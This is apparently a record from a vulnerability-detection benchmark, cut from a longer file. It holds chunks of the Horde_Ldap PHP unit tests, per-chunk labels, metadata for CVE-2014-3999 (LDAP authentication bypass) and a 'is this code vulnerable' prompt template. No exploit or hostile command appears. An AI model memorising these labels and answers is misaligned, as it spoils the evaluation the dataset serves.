again.\n $base = self::$ldapcfg['server']['basedn'];\n $testdn = 'ou=Horde_Ldap_Test_move,' . $base;", " $ou = Horde_Ldap_Entry::createFresh(\n $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_move'));\n $ou_1 = Horde_Ldap_Entry::createFresh(\n 'ou=source,' . $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'source'));\n $ou_1_l1 = Horde_Ldap_Entry::createFresh(\n 'l=moveitem,ou=source,' . $testdn,\n array('objectClass' => array('top','locality'),\n 'l' => 'moveitem',\n 'description' => 'movetest'));\n $ou_2 = Horde_Ldap_Entry::createFresh(\n 'ou=target,' . $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'target'));\n $ou_3 = Horde_Ldap_Entry::createFresh(\n 'ou=target_otherdir,' . $testdn,\n array('objectClass' => array('top','organizationalUnit'),\n 'ou' => 'target_otherdir'));\n $ldap->add($ou);\n $ldap->add($ou_1);\n $ldap->add($ou_1_l1);\n $ldap->add($ou_2);\n $ldap->add($ou_3);\n $this->assertTrue($ldap->exists($ou->dn()));\n $this->assertTrue($ldap->exists($ou_1->dn()));\n $this->assertTrue($ldap->exists($ou_1_l1->dn()));\n $this->assertTrue($ldap->exists($ou_2->dn()));\n $this->assertTrue($ldap->exists($ou_3->dn()));\n // Tree established.", " // Local rename.\n $olddn = $ou_1_l1->currentDN();\n $ldap->move($ou_1_l1, str_replace('moveitem', 'move_item', $ou_1_l1->dn()));\n $this->assertTrue($ldap->exists($ou_1_l1->dn()));\n $this->assertFalse($ldap->exists($olddn));", " // Local move.\n $olddn = $ou_1_l1->currentDN();\n $ldap->move($ou_1_l1, 'l=move_item,' . $ou_2->dn());\n $this->assertTrue($ldap->exists($ou_1_l1->dn()));\n $this->assertFalse($ldap->exists($olddn));", " // Local move backward, with rename. Here we use the DN of the object,\n // to test DN conversion.\n // Note that this will outdate the object since it does not has\n // knowledge about the move.\n $olddn = $ou_1_l1->currentDN();\n $newdn = 'l=moveditem,' . $ou_2->dn();\n $ldap->move($olddn, $newdn);\n $this->assertTrue($ldap->exists($newdn));\n $this->assertFalse($ldap->exists($olddn));\n // Refetch since the object's DN was outdated.\n $ou_1_l1 = $ldap->getEntry($newdn);", " // Fake-cross directory move using two separate links to the same\n // directory. This other directory is represented by\n // ou=target_otherdir.\n $ldap2 = new Horde_Ldap(self::$ldapcfg['server']);\n $olddn = $ou_1_l1->currentDN();\n $ldap->move($ou_1_l1, 'l=movedcrossdir,' . $ou_3->dn(), $ldap2);\n $this->assertFalse($ldap->exists($olddn));\n $this->assertTrue($ldap2->exists($ou_1_l1->dn()));", " // Try to move over an existing entry.\n try {\n $ldap->move($ou_2, $ou_3->dn(), $ldap2);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Try cross directory move without providing an valid entry but a DN.\n try {\n $ldap->move($ou_1_l1->dn(), 'l=movedcrossdir2,'.$ou_2->dn(), $ldap2);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Try passing an invalid entry object.\n try {\n $ldap->move($ldap, 'l=move_item,'.$ou_2->dn());\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Try passing an invalid LDAP object.\n try {\n $ldap->move($ou_1_l1, 'l=move_item,'.$ou_2->dn(), $ou_1);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}\n }", " /**\n * Test copy().\n */\n public function testCopy()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // Some testdata.\n $base = self::$ldapcfg['server']['basedn'];\n $ou1 = Horde_Ldap_Entry::createFresh(\n 'ou=Horde_Ldap_Test_pool,' . $base,\n array('objectClass' => array('top','organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_copy'));\n $ou2 = Horde_Ldap_Entry::createFresh(\n 'ou=Horde_Ldap_Test_tgt,' . $base,\n array('objectClass' => array('top','organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_copy'));\n $ldap->add($ou1);\n $this->assertTrue($ldap->exists($ou1->dn()));\n $ldap->add($ou2);\n $this->assertTrue($ldap->exists($ou2->dn()));", " $entry = Horde_Ldap_Entry::createFresh(\n 'l=cptest,' . $ou1->dn(),\n array('objectClass' => array('top','locality'),\n 'l' => 'cptest'));\n $ldap->add($entry);\n $ldap->exists($entry->dn());", " // Copy over the entry to another tree with rename.\n $entrycp = $ldap->copy($entry, 'l=test_copied,' . $ou2->dn());\n $this->assertInstanceOf('Horde_Ldap_Entry', $entrycp);\n $this->assertNotEquals($entry->dn(), $entrycp->dn());\n $this->assertTrue($ldap->exists($entrycp->dn()));", " // Copy same again (fails, entry exists).\n try {\n $entrycp_f = $ldap->copy($entry, 'l=test_copied,' . $ou2->dn());\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Use only DNs to copy (fails).\n try {\n $entrycp = $ldap->copy($entry->dn(), 'l=test_copied2,' . $ou2->dn());\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}\n }", " /**\n * Tests retrieval of root DSE object.\n */\n public function testRootDSE()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);\n $this->assertInstanceOf('Horde_Ldap_RootDse', $ldap->rootDSE());\n }", " /**\n * Tests retrieval of schema through LDAP object.\n */\n public function testSchema()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);\n $this->assertInstanceOf('Horde_Ldap_Schema', $ldap->schema());\n }", " /**\n * Test getLink().\n */\n public function testGetLink()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);\n $this->assertTrue(is_resource($ldap->getLink()));\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [213, 83], "buggy_code_start_loc": [209, 83], "filenames": ["framework/Ldap/lib/Horde/Ldap.php", "framework/Ldap/test/Horde/Ldap/LdapTest.php"], "fixing_code_end_loc": [213, 97], "fixing_code_start_loc": [209, 84], "message": "The Horde_Ldap library before 2.0.6 for Horde allows remote attackers to bypass authentication by leveraging knowledge of the LDAP bind user DN.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:horde:horde_ldap:*:*:*:*:*:horde:*:*", "matchCriteriaId": "7620D38C-DA8C-4183-9139-5B019DA7112C", "versionEndExcluding": "2.0.6", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "The Horde_Ldap library before 2.0.6 for Horde allows remote attackers to bypass authentication by leveraging knowledge of the LDAP bind user DN."}, {"lang": "es", "value": "La biblioteca Horde_Ldap en versiones anteriores a la 2.0.6 para Horde permite que atacantes remotos omitan la autenticaci\u00f3n aprovechando el conocimiento del DN del usuario bind LDAP."}], "evaluatorComment": null, "id": "CVE-2014-3999", "lastModified": "2018-05-18T13:23:25.737", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 2.2, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2018-04-10T15:29:00.877", "references": [{"source": "cve@mitre.org", "tags": ["Mailing List"], "url": "http://www.openwall.com/lists/oss-security/2014/06/14/1"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory", "VDB Entry"], "url": "http://www.securityfocus.com/bid/68014"}, {"source": "cve@mitre.org", "tags": ["Issue Tracking"], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1109628"}, {"source": "cve@mitre.org", "tags": ["Patch"], "url": "https://github.com/horde/horde/commit/4c3e18f1724ab39bfef10c189a5b52036a744d55"}, {"source": "cve@mitre.org", "tags": ["Mailing List"], "url": "https://marc.info/?l=horde-announce&m=140178644816474&w=2"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-287"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/horde/horde/commit/4c3e18f1724ab39bfef10c189a5b52036a744d55"}, "type": "CWE-287"}
149
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "require_once __DIR__ . '/TestBase.php';", "/**\n * Copyright 2010-2014 Horde LLC (http://www.horde.org/)\n *\n * @package Ldap\n * @subpackage UnitTests\n * @author Jan Schneider <jan@horde.org>\n * @license http://www.gnu.org/licenses/lgpl-3.0.html LGPL-3.0\n */\nclass Horde_Ldap_LdapTest extends Horde_Ldap_TestBase\n{\n public static function tearDownAfterClass()\n {\n if (!self::$ldapcfg) {\n return;\n }", " $ldap = new Horde_Ldap(self::$ldapcfg['server']);\n $clean = array('cn=Horde_Ldap_TestEntry,',\n 'ou=Horde_Ldap_Test_subdelete,',\n 'ou=Horde_Ldap_Test_modify,',\n 'ou=Horde_Ldap_Test_search1,',\n 'ou=Horde_Ldap_Test_search2,',\n 'ou=Horde_Ldap_Test_exists,',\n 'ou=Horde_Ldap_Test_getEntry,',\n 'ou=Horde_Ldap_Test_move,',\n 'ou=Horde_Ldap_Test_pool,',\n 'ou=Horde_Ldap_Test_tgt,');\n foreach ($clean as $dn) {\n try {\n $ldap->delete($dn . self::$ldapcfg['server']['basedn'], true);\n } catch (Exception $e) {}\n }\n }", " /**\n * Tests if the server can connect and bind correctly.\n */\n public function testConnectAndPrivilegedBind()\n {\n // This connect is supposed to fail.\n $lcfg = array('hostspec' => 'nonexistant.ldap.horde.org');\n try {\n $ldap = new Horde_Ldap($lcfg);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Failing with multiple hosts.\n $lcfg = array('hostspec' => array('nonexistant1.ldap.horde.org',\n 'nonexistant2.ldap.horde.org'));\n try {\n $ldap = new Horde_Ldap($lcfg);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Simple working connect and privileged bind.\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // Working connect and privileged bind with first host down.\n $lcfg = array('hostspec' => array('nonexistant.ldap.horde.org',\n self::$ldapcfg['server']['hostspec']),\n 'port' => self::$ldapcfg['server']['port'],\n 'binddn' => self::$ldapcfg['server']['binddn'],\n 'bindpw' => self::$ldapcfg['server']['bindpw']);\n $ldap = new Horde_Ldap($lcfg);\n }", " /**\n * Tests if the server can connect and bind anonymously, if supported.\n */\n public function testConnectAndAnonymousBind()\n {\n if (!self::$ldapcfg['capability']['anonymous']) {\n $this->markTestSkipped('Server does not support anonymous bind');\n }", " // Simple working connect and anonymous bind.\n $lcfg = array('hostspec' => self::$ldapcfg['server']['hostspec'],\n 'port' => self::$ldapcfg['server']['port']);\n $ldap = new Horde_Ldap($lcfg);", " }", " /**\n * Tests if the server can connect and bind, but not rebind with empty\n * password.\n *\n * @expectedException Horde_Ldap_Exception\n */\n public function testConnectAndEmptyRebind()\n {\n // Simple working connect and privileged bind.\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);\n $ldap->bind(self::$ldapcfg['server']['binddn'], '');", " }", " /**\n * Tests startTLS() if server supports it.\n */\n public function testStartTLS()\n {\n if (!self::$ldapcfg['capability']['tls']) {\n $this->markTestSkipped('Server does not support TLS');\n }", " // Simple working connect and privileged bind.\n $lcfg = array('starttls' => true) + self::$ldapcfg['server'];\n $ldap = new Horde_Ldap($lcfg);\n }", " /**\n * Test if adding and deleting a fresh entry works.\n */\n public function testAdd()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // Adding a fresh entry.\n $cn = 'Horde_Ldap_TestEntry';\n $dn = 'cn=' . $cn . ',' . self::$ldapcfg['server']['basedn'];\n $fresh_entry = Horde_Ldap_Entry::createFresh(\n $dn,\n array('objectClass' => array('top', 'person'),\n 'cn' => $cn,\n 'sn' => 'TestEntry'));\n $this->assertInstanceOf('Horde_Ldap_Entry', $fresh_entry);\n $ldap->add($fresh_entry);", " // Deleting this entry.\n $ldap->delete($fresh_entry);\n }", " /**\n * Basic deletion is tested in testAdd(), so here we just test if\n * advanced deletion tasks work properly.\n */\n public function testDelete()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // Some parameter checks.\n try {\n $ldap->delete(1234);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}\n try {\n $ldap->delete($ldap);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // In order to test subtree deletion, we need some little tree\n // which we need to establish first.\n $base = self::$ldapcfg['server']['basedn'];\n $testdn = 'ou=Horde_Ldap_Test_subdelete,' . $base;", " $ou = Horde_Ldap_Entry::createFresh(\n $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_subdelete'));\n $ou_1 = Horde_Ldap_Entry::createFresh(\n 'ou=test1,' . $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'test1'));\n $ou_1_l1 = Horde_Ldap_Entry::createFresh(\n 'l=subtest,ou=test1,' . $testdn,\n array('objectClass' => array('top', 'locality'),\n 'l' => 'test1'));\n $ou_2 = Horde_Ldap_Entry::createFresh(\n 'ou=test2,' . $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'test2'));\n $ou_3 = Horde_Ldap_Entry::createFresh(\n 'ou=test3,' . $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'test3'));\n $ldap->add($ou);\n $ldap->add($ou_1);\n $ldap->add($ou_1_l1);\n $ldap->add($ou_2);\n $ldap->add($ou_3);\n $this->assertTrue($ldap->exists($ou->dn()));\n $this->assertTrue($ldap->exists($ou_1->dn()));\n $this->assertTrue($ldap->exists($ou_1_l1->dn()));\n $this->assertTrue($ldap->exists($ou_2->dn()));\n $this->assertTrue($ldap->exists($ou_3->dn()));\n // Tree established now. We can run some tests now :D", " // Try to delete some non existent entry inside that subtree (fails).\n try {\n $ldap->delete('cn=not_existent,ou=test1,' . $testdn);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {\n $this->assertEquals('LDAP_NO_SUCH_OBJECT', Horde_Ldap::errorName($e->getCode()));\n }", " // Try to delete main test ou without recursive set (fails too).\n try {\n $ldap->delete($testdn);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {\n $this->assertEquals('LDAP_NOT_ALLOWED_ON_NONLEAF', Horde_Ldap::errorName($e->getCode()));\n }", " // Retry with subtree delete, this should work.\n $ldap->delete($testdn, true);", " // The DN is not allowed to exist anymore.\n $this->assertFalse($ldap->exists($testdn));\n }", " /**\n * Test modify().\n */\n public function testModify()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // We need a test entry.\n $local_entry = Horde_Ldap_Entry::createFresh(\n 'ou=Horde_Ldap_Test_modify,' . self::$ldapcfg['server']['basedn'],\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_modify',\n 'street' => 'Beniroad',\n 'telephoneNumber' => array('1234', '5678'),\n 'postalcode' => '12345',\n 'postalAddress' => 'someAddress',\n 'st' => array('State 1', 'State 2')));\n $ldap->add($local_entry);\n $this->assertTrue($ldap->exists($local_entry->dn()));", " // Test invalid actions.\n try {\n $ldap->modify($local_entry, array('foo' => 'bar'));\n $this->fail('Expected exception when passing invalid actions to modify().');\n } catch (Horde_Ldap_Exception $e) {\n }", " // Prepare some changes.\n $changes = array(\n 'add' => array(\n 'businessCategory' => array('foocat', 'barcat'),\n 'description' => 'testval'\n ),\n 'delete' => array('postalAddress'),\n 'replace' => array('telephoneNumber' => array('345', '567')),\n 'changes' => array(\n 'replace' => array('street' => 'Highway to Hell'),\n 'add' => array('l' => 'someLocality'),\n 'delete' => array(\n 'postalcode',\n 'st' => array('State 1'))));", " // Perform those changes.\n $ldap->modify($local_entry, $changes);", " // Verify correct attribute changes.\n $actual_entry = $ldap->getEntry($local_entry->dn(),\n array('objectClass', 'ou',\n 'postalAddress', 'street',\n 'telephoneNumber', 'postalcode',\n 'st', 'l', 'businessCategory',\n 'description'));\n $this->assertInstanceOf('Horde_Ldap_Entry', $actual_entry);\n $expected_attributes = array(\n 'objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_modify',\n 'street' => 'Highway to Hell',\n 'l' => 'someLocality',\n 'telephoneNumber' => array('345', '567'),\n 'businessCategory' => array('foocat', 'barcat'),\n 'description' => 'testval',\n 'st' => 'State 2'\n );", " $local_attributes = $local_entry->getValues();\n $actual_attributes = $actual_entry->getValues();", " // To enable easy check, we need to sort the values of the remaining\n // multival attributes as well as the attribute names.\n ksort($expected_attributes);\n ksort($local_attributes);\n ksort($actual_attributes);\n sort($expected_attributes['businessCategory']);\n sort($local_attributes['businessCategory']);\n sort($actual_attributes['businessCategory']);", " // The attributes must match the expected values. Both, the entry\n // inside the directory and our local copy must reflect the same\n // values.\n $this->assertEquals($expected_attributes, $actual_attributes, 'The directory entries attributes are not OK!');\n $this->assertEquals($expected_attributes, $local_attributes, 'The local entries attributes are not OK!');\n }", " /**\n * Test search().\n */\n public function testSearch()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // Some testdata, so we can test sizelimit.\n $base = self::$ldapcfg['server']['basedn'];\n $ou1 = Horde_Ldap_Entry::createFresh(\n 'ou=Horde_Ldap_Test_search1,' . $base,\n array('objectClass' => array('top','organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_search1'));\n $ou1_1 = Horde_Ldap_Entry::createFresh(\n 'ou=Horde_Ldap_Test_search1_1,' . $ou1->dn(),\n array('objectClass' => array('top','organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_search2'));\n $ou2 = Horde_Ldap_Entry::createFresh(\n 'ou=Horde_Ldap_Test_search2,' . $base,\n array('objectClass' => array('top','organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_search2'));\n $ldap->add($ou1);\n $this->assertTrue($ldap->exists($ou1->dn()));\n $ldap->add($ou1_1);\n $this->assertTrue($ldap->exists($ou1_1->dn()));\n $ldap->add($ou2);\n $this->assertTrue($ldap->exists($ou2->dn()));", "\n // Search for test filter, should at least return our two test entries.\n $res = $ldap->search(null, '(ou=Horde_Ldap*)',\n array('attributes' => '1.1'));\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertThat($res->count(), $this->greaterThanOrEqual(2));", " // Same, but with Horde_Ldap_Filter object.\n $filtero = Horde_Ldap_Filter::create('ou', 'begins', 'Horde_Ldap');\n $this->assertInstanceOf('Horde_Ldap_Filter', $filtero);\n $res = $ldap->search(null, $filtero,\n array('attributes' => '1.1'));\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertThat($res->count(), $this->greaterThanOrEqual(2));", " // Search using default filter for base-onelevel scope, should at least\n // return our two test entries.\n $res = $ldap->search(null, null,\n array('scope' => 'one', 'attributes' => '1.1'));\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertThat($res->count(), $this->greaterThanOrEqual(2));", " // Base-search using custom base (string), should only return the test\n // entry $ou1 and not the entry below it.\n $res = $ldap->search($ou1->dn(), null,\n array('scope' => 'base', 'attributes' => '1.1'));\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertEquals(1, $res->count());", " // Search using custom base, this time using an entry object. This\n // tests if passing an entry object as base works, should only return\n // the test entry $ou1.\n $res = $ldap->search($ou1, '(ou=*)',\n array('scope' => 'base', 'attributes' => '1.1'));\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertEquals(1, $res->count());", " // Search using default filter for base-onelevel scope with sizelimit,\n // should of course return more than one entry, but not more than\n // sizelimit\n $res = $ldap->search(\n null, null,\n array('scope' => 'one', 'sizelimit' => 1, 'attributes' => '1.1')\n );\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertEquals(1, $res->count());\n // Sizelimit should be exceeded now.\n $this->assertTrue($res->sizeLimitExceeded());", " // Bad filter.\n try {\n $res = $ldap->search(null, 'somebadfilter',\n array('attributes' => '1.1'));\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Bad base.\n try {\n $res = $ldap->search('badbase', null,\n array('attributes' => '1.1'));\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Nullresult.\n $res = $ldap->search(null, '(cn=nevermatching_filter)',\n array('scope' => 'base', 'attributes' => '1.1'));\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertEquals(0, $res->count());\n }", " /**\n * Test exists().\n */\n public function testExists()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " $dn = 'ou=Horde_Ldap_Test_exists,' . self::$ldapcfg['server']['basedn'];", " // Testing not existing DN.\n $this->assertFalse($ldap->exists($dn));", " // Passing an entry object (should work). It should return false,\n // because we didn't add the test entry yet.\n $ou1 = Horde_Ldap_Entry::createFresh(\n $dn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_search1'));\n $this->assertFalse($ldap->exists($ou1));", " // Testing not existing DN.\n $ldap->add($ou1);\n $this->assertTrue($ldap->exists($dn));", " // Passing an float instead of a string.\n try {\n $ldap->exists(1.234);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}\n }", " /**\n * Test getEntry().\n */\n public function testGetEntry()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);\n $dn = 'ou=Horde_Ldap_Test_getEntry,' . self::$ldapcfg['server']['basedn'];\n $entry = Horde_Ldap_Entry::createFresh(\n $dn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_getEntry'));\n $ldap->add($entry);", " // Existing DN.\n $this->assertInstanceOf('Horde_Ldap_Entry', $ldap->getEntry($dn));", " // Not existing DN.\n try {\n $ldap->getEntry('cn=notexistent,' . self::$ldapcfg['server']['basedn']);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Exception_NotFound $e) {}\n }", " /**\n * Test move().\n */\n public function testMove()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // For Moving tests, we need some little tree again.\n $base = self::$ldapcfg['server']['basedn'];\n $testdn = 'ou=Horde_Ldap_Test_move,' . $base;", " $ou = Horde_Ldap_Entry::createFresh(\n $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_move'));\n $ou_1 = Horde_Ldap_Entry::createFresh(\n 'ou=source,' . $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'source'));\n $ou_1_l1 = Horde_Ldap_Entry::createFresh(\n 'l=moveitem,ou=source,' . $testdn,\n array('objectClass' => array('top','locality'),\n 'l' => 'moveitem',\n 'description' => 'movetest'));\n $ou_2 = Horde_Ldap_Entry::createFresh(\n 'ou=target,' . $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'target'));\n $ou_3 = Horde_Ldap_Entry::createFresh(\n 'ou=target_otherdir,' . $testdn,\n array('objectClass' => array('top','organizationalUnit'),\n 'ou' => 'target_otherdir'));\n $ldap->add($ou);\n $ldap->add($ou_1);\n $ldap->add($ou_1_l1);\n $ldap->add($ou_2);\n $ldap->add($ou_3);\n $this->assertTrue($ldap->exists($ou->dn()));\n $this->assertTrue($ldap->exists($ou_1->dn()));\n $this->assertTrue($ldap->exists($ou_1_l1->dn()));\n $this->assertTrue($ldap->exists($ou_2->dn()));\n $this->assertTrue($ldap->exists($ou_3->dn()));\n // Tree established.", " // Local rename.\n $olddn = $ou_1_l1->currentDN();\n $ldap->move($ou_1_l1, str_replace('moveitem', 'move_item', $ou_1_l1->dn()));\n $this->assertTrue($ldap->exists($ou_1_l1->dn()));\n $this->assertFalse($ldap->exists($olddn));", " // Local move.\n $olddn = $ou_1_l1->currentDN();\n $ldap->move($ou_1_l1, 'l=move_item,' . $ou_2->dn());\n $this->assertTrue($ldap->exists($ou_1_l1->dn()));\n $this->assertFalse($ldap->exists($olddn));", " // Local move backward, with rename. Here we use the DN of the object,\n // to test DN conversion.\n // Note that this will outdate the object since it does not has\n // knowledge about the move.\n $olddn = $ou_1_l1->currentDN();\n $newdn = 'l=moveditem,' . $ou_2->dn();\n $ldap->move($olddn, $newdn);\n $this->assertTrue($ldap->exists($newdn));\n $this->assertFalse($ldap->exists($olddn));\n // Refetch since the object's DN was outdated.\n $ou_1_l1 = $ldap->getEntry($newdn);", " // Fake-cross directory move using two separate links to the same\n // directory. This other directory is represented by\n // ou=target_otherdir.\n $ldap2 = new Horde_Ldap(self::$ldapcfg['server']);\n $olddn = $ou_1_l1->currentDN();\n $ldap->move($ou_1_l1, 'l=movedcrossdir,' . $ou_3->dn(), $ldap2);\n $this->assertFalse($ldap->exists($olddn));\n $this->assertTrue($ldap2->exists($ou_1_l1->dn()));", " // Try to move over an existing entry.\n try {\n $ldap->move($ou_2, $ou_3->dn(), $ldap2);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Try cross directory move without providing an valid entry but a DN.\n try {\n $ldap->move($ou_1_l1->dn(), 'l=movedcrossdir2,'.$ou_2->dn(), $ldap2);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Try passing an invalid entry object.\n try {\n $ldap->move($ldap, 'l=move_item,'.$ou_2->dn());\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Try passing an invalid LDAP object.\n try {\n $ldap->move($ou_1_l1, 'l=move_item,'.$ou_2->dn(), $ou_1);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}\n }", " /**\n * Test copy().\n */\n public function testCopy()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // Some testdata.\n $base = self::$ldapcfg['server']['basedn'];\n $ou1 = Horde_Ldap_Entry::createFresh(\n 'ou=Horde_Ldap_Test_pool,' . $base,\n array('objectClass' => array('top','organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_copy'));\n $ou2 = Horde_Ldap_Entry::createFresh(\n 'ou=Horde_Ldap_Test_tgt,' . $base,\n array('objectClass' => array('top','organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_copy'));\n $ldap->add($ou1);\n $this->assertTrue($ldap->exists($ou1->dn()));\n $ldap->add($ou2);\n $this->assertTrue($ldap->exists($ou2->dn()));", " $entry = Horde_Ldap_Entry::createFresh(\n 'l=cptest,' . $ou1->dn(),\n array('objectClass' => array('top','locality'),\n 'l' => 'cptest'));\n $ldap->add($entry);\n $ldap->exists($entry->dn());", " // Copy over the entry to another tree with rename.\n $entrycp = $ldap->copy($entry, 'l=test_copied,' . $ou2->dn());\n $this->assertInstanceOf('Horde_Ldap_Entry', $entrycp);\n $this->assertNotEquals($entry->dn(), $entrycp->dn());\n $this->assertTrue($ldap->exists($entrycp->dn()));", " // Copy same again (fails, entry exists).\n try {\n $entrycp_f = $ldap->copy($entry, 'l=test_copied,' . $ou2->dn());\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Use only DNs to copy (fails).\n try {\n $entrycp = $ldap->copy($entry->dn(), 'l=test_copied2,' . $ou2->dn());\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}\n }", " /**\n * Tests retrieval of root DSE object.\n */\n public function testRootDSE()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);\n $this->assertInstanceOf('Horde_Ldap_RootDse', $ldap->rootDSE());\n }", " /**\n * Tests retrieval of schema through LDAP object.\n */\n public function testSchema()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);\n $this->assertInstanceOf('Horde_Ldap_Schema', $ldap->schema());\n }", " /**\n * Test getLink().\n */\n public function testGetLink()\n {\n $ldap = new 